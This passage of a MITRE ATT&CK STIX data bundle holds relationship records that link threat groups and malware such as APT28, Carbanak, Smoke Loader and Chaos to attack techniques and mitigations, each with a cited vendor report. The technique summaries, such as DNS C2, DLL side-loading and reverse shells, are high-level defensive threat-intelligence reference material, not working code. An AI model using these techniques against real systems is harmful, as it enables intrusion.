                    "source_name": "RiskIQ Cobalt Nov 2017"
                },
                {
                    "source_name": "Unit 42 Cobalt Gang Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.783Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) uses DNS TXT records for C2.(Citation: FireEye FIN7 March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                }
            ],
            "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T02:41:51.011Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4aecd118-a823-4859-9245-90155a0bbe11",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
            "type": "relationship",
            "modified": "2020-03-30T13:44:04.877Z",
            "created": "2017-05-31T21:33:27.023Z"
        },
        {
            "id": "relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.119Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "type": "relationship",
            "modified": "2020-03-20T19:53:25.764Z",
            "created": "2017-05-31T21:33:27.024Z"
        },
        {
            "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used batch scripts and scheduled tasks to delete critical system files.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-25T12:09:56.287Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f3c37734-1f69-44ee-9e27-480ba68c79f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) launches a scheduled task.(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:43:37.533Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.075Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--48281b5d-ca6f-401e-bda1-24f6537dcf1d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to gather system information from the victim\u2019s machine.(Citation: GitHub QuasarRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.571Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "source_name": "ESET OceanLotus"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-02-05T15:00:14.270Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.(Citation: Forcepoint Carbanak Google C2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control",
                    "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.",
                    "source_name": "Forcepoint Carbanak Google C2"
                }
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:06:51.449Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--f6483534-196c-4540-a456-985594171cd8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
            "type": "relationship",
            "modified": "2020-01-14T17:23:05.939Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f761e63a-5c5a-47e3-8256-08bd299f329e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) identifies files with certain extensions from USB devices, then copies them to a predefined directory.(Citation: TrendMicro Patchwork Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.453Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) supports execution from the command-line.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.833Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--559c0d59-16a7-4c1c-801d-6c8c32ffc5ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has been observed using a Registry Run key.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.534Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f8340d49-ee7a-4ade-988f-3660904a18bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.442Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d68649d8-4f18-48b8-93b8-82c8660fc464",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can download and upload files to the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.853Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-06-24T17:08:51.718Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
            "type": "relationship",
            "modified": "2019-12-20T14:26:01.131Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b5c97349-c288-43f8-9bcc-09491d0c66f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.673Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c4e81078-28b4-4a68-a946-458f4d122e39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153",
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.896Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.440Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--715d1910-181b-47a8-9b3c-86cba51b8ba4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.018Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fe0c8388-46fb-4064-9837-56a23339ffaa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "source_name": "JPCERT ChChes Feb 2017",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"
                },
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-03-17T00:33:19.752Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "source_name": "US-CERT Volgmer Nov 2017"
                }
            ],
            "description": "(Citation: US-CERT Volgmer Nov 2017)",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.643Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff",
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            "description": "[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) entries to execute malicious DLLs.(Citation: Symantec Briba May 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Briba May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"
                }
            ],
            "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2021-02-09T14:56:14.767Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:07:54.267Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0efc2bef-9227-4af2-b73b-bfa61a3073aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) gathers information on victim\u2019s drives and has a plugin for document listing.(Citation: ASERT Donot March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.167Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--23d208f5-cadc-4f80-94c4-5644eaa8b7c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for execution.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
